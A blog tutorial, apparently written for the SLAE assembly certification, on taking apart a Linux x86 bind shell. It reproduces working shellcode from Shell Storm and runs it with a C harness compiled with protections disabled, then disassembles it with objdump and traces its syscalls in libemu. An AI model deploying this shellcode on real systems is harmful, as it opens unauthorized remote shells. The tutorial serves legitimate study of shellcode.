part 1: disassembling and understanding shellcode

About a month ago I signed up for the Securitytube Linux Assembly Expert certification to get a deeper understanding of assembly and GDB. Doing so has helped me understand what is actually going on in the registers and not just relying on “hail-mary” advice like “use pop, pop, ret when dealing with SEH.” If you’re interested in Assembly or writing shellcode, I’d highly recommend you take the certification.
My first SLAE assignment was to write my own bind shell. I don’t know C well enough to code straight from memory, and even though I understand how individual assembly instructions affect data in the registers and the stack, I didn’t know how to string these together to create working shellcode. I couldn’t find many tutorials devoted to the subject so I decided to just dive in and build it from scratch.
I’ve created this tutorial to help others who understand basic assembly instructions but who do not know how to string it together to create useful shellcode of their own. Following this post through to the end should bring you up to a level of understanding where you don’t “need” to rely on other peoples scripts to build a bind shell and can start writing your own. My hope is that you will not feel overwhelmed when looking at shellcode and will start to explore, publish and write your own shellcode.
NOTE: If you are already competent at compiling, disassembling or debugging shellcode, skip to Part 2: Building the Shellcode.
Lets get started…
WTF is a bind shell?
Before starting this exercise, my understanding of a bind shell was the following:
a socket that allows you to send commands to a program and receive the responses over a network. This is not very helpful when trying to build your own except that you think you need a socket, a port and an executable.
Instead of guessing, lets take a look at some other bind shell shellcode and see what it does.
Metasploit is far from the only way to get your hands on shellcode. There are several sites that host shellcode that you can use for yourself such as Exploit Database from Offensive Security, Project Shellcode from Ty Miller and Shell Storm from Jonathan Salwan.
Lets grab a small bind shell from Shell Storm and see what it does.
First, create a folder to place your working files in.
mkdir bindshell
Go to the following url and take a look at the content. It contains the content of a C file and instructions on how to compile and run it.
http://shell-storm.org/shellcode/files/shellcode-836.php
/*
Tiny Shell Bind TCP Shellcode - C Language
Linux/x86
Written in 2013 by Geyslan G. Bem, Hacking bits
http://hackingbits.com
geyslan@gmail.com
This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.
To view a copy of this license, visit
http://creativecommons.org/licenses/by-sa/3.0/
You are free:
to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work
Under the following conditions:
Attribution - You must attribute the work in the manner
specified by the author or licensor (but
not in any way that suggests that they
endorse you or your use of the work).
Share Alike - If you alter, transform, or build upon
this work, you may distribute the
resulting work only under the same or
similar license to this one.
*/
/*
tiny_shell_bind_tcp_shellcode
* 73 bytes
* null-free if the port is
# gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_shellcode.c -o tiny_shell_bind_tcp_shellcode
Testing
# ./tiny_shell_bind_tcp_shellcode
# nc 127.0.0.1 11111
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x41\xcd\x80";
main ()
{
// When the Port contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(code));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Setting the port
"movw $0x672b, (code+20)\n\t"
// Calling the shellcode
"call code");
}
This may look big and scary now but we’re only interested in seeing what it does so we can figure out how to write our own.
Leave that page open for now, we’ll come back to it shortly.
Create a file in your bindshell folder called shellcode.c
cd bindshell
nano shellcode.c
Paste the following code into the shellcode.c file we just opened.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now grab just the shellcode from the Shell Storm page and paste it into this new file ensuring the formatting looks like this.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x41\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Save and close the file
CTRL + O <== Save File
{ENTER/RETURN KEY} <== Accept the Filename
CTRL X <== Exit</pre>
Great, we’ve just created a C file that will print our shellcode length and then run it. but before we can do that, we need to compile it into a binary file.
To be able to compile this file, we need a compiler such as GCC (GNU Compiler Collection) which will turn our source code into a binary file.
Assuming you’re running this on a Debian based distro such as Ubuntu, Kali Linux, BackTrack or your own distro, you can use Aptitude to install GCC
sudo apt-get install gcc
Because we’re going to compile shellcode often, lets create a script that we can reuse to compile our shellcode.c file.
Create a new file called compile.sh
and paste the following into it
#!/bin/bash
if [ -z "$1" ]
then
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
else
gcc -m32 -fno-stack-protector -z execstack $1.c -o $1
fi
What this file will do is check to see if you have passed any argument to the script, if not it assumes that the file you want to compile is called “shellcode.c” which in this case is true.
Then the script will run GCC with the following options:
-m32
tells the compiler we’re building this source code for a 32 bit operating system.
-fno-stack-protection
will disable the stack protection mechanisms in GCC.
-z execstack
will allow our stack to be executable.
shellcode.c
is the file with the source code.
-o shellcode
is the binary file we want to create with our source code.
Now we need to make this new script executable.
chmod +x compile.sh
That’s it, run the script and you should have a brand new binary that can create bind shells.
./compile.sh

We’re not interested in running this binary right now, we’re only interested in finding out what it does. So lets take a look inside and see what this shellcode is doing.
To do this, we are going to use a tool called objdump, part of Gnu Binary Utilities, which will look at our shellcode and show us what it’s doing.
To install these tools run:
sudo apt-get install binutils
Now that we have objdump installed, lets disassemble our binary.
objdump -D shellcode -M intel
Wow, that is a lot of assembly code. The part we’re interested in is:
08049700 <code>:
8049700: 31 db xor ebx,ebx
8049702: f7 e3 mul ebx
8049704: b0 66 mov al,0x66
8049706: 43 inc ebx
8049707: 52 push edx
8049708: 53 push ebx
8049709: 6a 02 push 0x2
804970b: 89 e1 mov ecx,esp
804970d: cd 80 int 0x80
804970f: 5b pop ebx
8049710: 5e pop esi
8049711: 52 push edx
8049712: 66 68 2b 67 pushw 0x672b
8049716: 6a 10 push 0x10
8049718: 51 push ecx
8049719: 50 push eax
804971a: b0 66 mov al,0x66
804971c: 89 e1 mov ecx,esp
804971e: cd 80 int 0x80
8049720: 89 51 04 mov DWORD PTR [ecx+0x4],edx
8049723: b0 66 mov al,0x66
8049725: b3 04 mov bl,0x4
8049727: cd 80 int 0x80
8049729: b0 66 mov al,0x66
804972b: 43 inc ebx
804972c: cd 80 int 0x80
804972e: 59 pop ecx
804972f: 93 xchg ebx,eax
8049730: 6a 3f push 0x3f
8049732: 58 pop eax
8049733: cd 80 int 0x80
8049735: 49 dec ecx
8049736: 79 f8 jns 8049730 <code+0x30>
8049738: b0 0b mov al,0xb
804973a: 68 2f 2f 73 68 push 0x68732f2f
804973f: 68 2f 62 69 6e push 0x6e69622f
8049744: 89 e3 mov ebx,esp
8049746: 41 inc ecx
8049747: cd 80 int 0x80
8049749: 00 00 add BYTE PTR [eax],al
We can see xor
, push
, pop
, inc
and some other functions but we still don’t really know the steps involved to create our own bind shell.
Lets move onto something that will make this even easier to understand.
Libemu is a x86 Shellcode Emulation tool that can make following and understanding shellcode much easier.
Download and install libemu, following this procedure:
Firstly, we’re going to need Git. If you don’t already have git installed, install it now
sudo apt-get install git
Once you have git installed, clone the libemu repo into your temp folder
cd /tmp
git clone git://git.carnivore.it/libemu.git
You’ll also need some dependencies to get libemu installed and running
sudo apt-get install build-essential autoconf libtool python-dev graphviz
Now go into the libemu folder we cloned
cd /tmp/libemu/
Run these commands to configure and build libemu
autoreconf -v -i
./configure --enable-python-bindings --prefix=/opt/libemu
sudo make install
sudo ldconfig -n /opt/libemu/lib
We should now have a libemu folder installed in /opt/libemu/
We now need to prepare our shellcode for libemu. Start by grabbing just the shellcode and place it in a file called shellcode.hex
cat shellcode.hex
\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a
\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68
\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1
\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd
\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f
\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x41\xcd\x80
Next, we’re going to create an alias called hex2raw.
Add this line to your .bashrc
file if you want this to be permanently available:
alias hex2raw="tr -d '\\\x' | xxd -r -p"
Now lets convert our hex code to raw code.
cat shellcode.hex | hex2raw > shellcode.raw
If all went well, you should have a new file called shellcode.raw

We now have everything we need to see what this bind shell is doing, lets run libemu on this raw code.
cat shellcode.raw | /opt/libemu/bin/sctest -vvv -Ss 99999 -G shellcode.dot
The last step is to convert the shellcode.dot graph into an image so we can view it.
dot -Tpng -o shellcode.png shellcode.dot
Great, we now have a shellcode.png file, lets take a look at it

EPIC, now we can see what this shellcode is doing a lot clearer and we can also see the system calls that it is making. We will use these to create our own bind shell shellcode.
We can see that the first call being made is the socket
call, followed by the bind
call, then the listen
and accept
calls. Then the code loops through the dup2
call several times and finally execve
is called.
We finally have our bind shell process:
- Socket
- Bind
- Listen
- Accept
- Dup2
- Execve
In Part 2: Building the Shellcode, we will investigate these calls further and start building our own assembly shellcode.
Keep sploiting
norsec0de